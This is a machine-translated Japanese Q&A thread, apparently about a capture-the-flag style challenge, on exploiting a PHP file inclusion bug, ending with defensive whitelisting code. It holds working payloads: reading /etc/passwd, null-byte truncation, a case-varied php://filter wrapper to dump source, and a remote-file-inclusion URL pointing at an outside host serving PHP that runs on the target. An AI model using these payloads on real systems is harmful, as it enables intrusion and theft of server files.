LFIバグを悪用しようとしています。私のリンクは次のようになります:
http://example.com/challenge/mypage.php?page=test
test
の代わりに/etc/passwd
を指定すると、次のように表示されます。
警告:include()[function.include]:インクルードのために '/etc/passwd.inc.php'を開けませんでした(include_path = '。:/ opt/alt/php53/usr/share/pear:/ opt/alt/php53/usr/share/php ')
ご覧のとおり、デフォルトでは.inc.php
がファイルの最後に連結されます。それをバイパスするために、私は次のようにnull値を追加しようとしています:
http://example.com/challenge/mypage.php?page=/etc/passwd%00
エラーは引き続き発生しますが、今回は.inc.php
なし:
警告:include()[function.include]:インクルード用の '/ etc/passwd'のオープンに失敗しました(include_path = '。:/ opt/alt/php53/usr/share/pear:/ opt/alt/php53/usr/share/php ')
test.inc.php%00
を手動で追加しましたが、同じメッセージが表示されます。
警告:include()[function.include]:インクルードのために 'test.inc.php'を開けませんでした(include_path = '。:/ opt/alt/php53/usr/share/pear:/ opt/alt/php53/usr /シェア/ php ')
php://input
とphp://filter
とdata://text/plain;base64
を確認しようとしましたが、それも機能しませんでした。
このバグを悪用する方法について何か考えはありますか?
大文字と小文字を区別するラッパーを使用すると、うまくいきます。
http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=test
出力は、次のようなbase64エンコードされた文字列です。
PD8KZWNobygnVEVTVCBQQUdFICEhIScpOwo/Pg ==
しかし、index.php
を読み込もうとすると、出力は次のようになります。
http://example.com/challenge/mypage.php?page=pHp://FilTer/convert.base64-encode/resource=index.php%00
警告:include()[function.include]:インクルードのために 'index.php'を開けませんでした
セキュリティチェックを行っているため、機能していないと思います。
私はstrace
を実行して、存在しないとしても、正当な名前のファイルと不正な名前のファイルをインクルードしたときのPHPの動作を確認しました。 動作が異なります:
lstat("/home/lserni/./legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
lstat("/home/lserni/legal.inc.php"...) = -1 ENOENT (No such file or directory)
openat(AT_FDCWD, "/home/lserni/legal.inc.php", O_RDONLY) = -1 ENOENT ...
write(2, "PHP Warning: include(): Failed "..., 154
PHP Warning: include(): Failed opening 'legal.inc.php' for inclusion...
write(2, "PHP Warning: include(): Failed "..., 148
PHP Warning: include(): Failed opening 'illegal' for inclusion...
上から、legalファイル名がファイルシステムでチェックされることがわかります[twice--PHPは、ファイルが存在しないことを確認し(これは定格0.2 kWTF)、エラーを発行します。
illegalファイル名でも同じエラーが発生しますが、ファイルが存在するかどうかを確認するtryingさえありません。
PHPのソースをチェックインすると、実際にPHPが次のように決定したときに、「このファイルはここにありません」というエラーを偽装するいくつかのテストが見つかります。 ファイルがあったかどうかに関わらず、ファイルを開かない。
「ファイルインクルード」の脆弱性は、サーバーに送信できることを意味します何かこれにより、サーバーはyour選択のファイルをinclude()
(および実行)します。ファイルはローカル(ローカルファイルインクルージョンまたはLFI)またはリモート(RFI)にすることができます。
RFIを悪用するには、別のドメインのリモートファイルが必要です。テストしているものではなく、別のものです。
ローカルファイルではなく、このリモートファイルはユーザーの制御下にある必要があります。
リモートファイルの内容は、脆弱なサーバーに含まれるものでなければなりません。つまり、有効なPHPである必要があります。
リモートファイルが含まれると、脆弱なサーバー内で実行されるため、ローカルファイルにアクセスできます(リモートファイルにはアクセスできなくなります)。
したがって、リモートファイルが命令[include('index.php');
]またはdie(file_get_contents('index.php'));
を表示する場合、リモートサーバーのindex.phpではなく、脆弱なサーバーのそれ(私たちがしたいことです)。
同時に、リモートファイルはリモートサーバー上で実行するため、次のようなPHPコードを実行させます別のPHP codeが表示されます。
たとえば、これはhttp://www.serni.org/i.inc.php
のコンテンツです。
<?php
// The outer code is just a print.
print <<<INNER_CODE
<?php
// This is a sample remote file inclusion vulnerability.
// It will simply count how many files there are in the
// vulnerable script's directory.
\$files = count(glob('*.*'));
print "This folder contains {\$files} files.";
// Just sayin'.
// Shell_exec("FORMAT A: /Y /AUTOTEST");
INNER_CODE;
リソースとしてhttp://www.serni.org/i.inc.php
を使用し、RFIが機能する場合、脆弱なページはそのディレクトリ内のファイルの数を返します。
http://example.com/challenge/mypage.php?page=http%3A%2F%2Fwww.serni.org%2Fi
明らかに、入力を無害化します。または、それらをホワイトリストに登録し、非常に単純な組み合わせのみを許可してください。また、リモートリソースを含める必要がない限り(これが発生します)、allow_url_fopen
をfalseに設定します。
$allowed_resources = '#^[A-Za-z_0-9-]+$#';
$ok = false;
if (preg_match($allowed_resources, $resource)) {
$actual_file = realpath("external_resources/{$resource}.php");
// We could verify that actual_file matches _SERVER_ROOT/external...
if (file_exists($actual_file)) {
include $actual_file;
$ok = true;
}
}
if (!$ok) {
// We don't want to send back to clients whatever they sent us; that way lie XS vulnerabilities.
$resource = basename(strip_tags($resource));
// Mess a little with people's heads.
die("Warning: include() [function.include]: Failed opening 'C:\\Inetpub\\Resources\\{$resource}.aspx' for inclusion (include_path='C:\\;C:\\WINDOWS;C:\\Program Files\\Nginx;C:\\Python\\Tornado5\\modules')");
}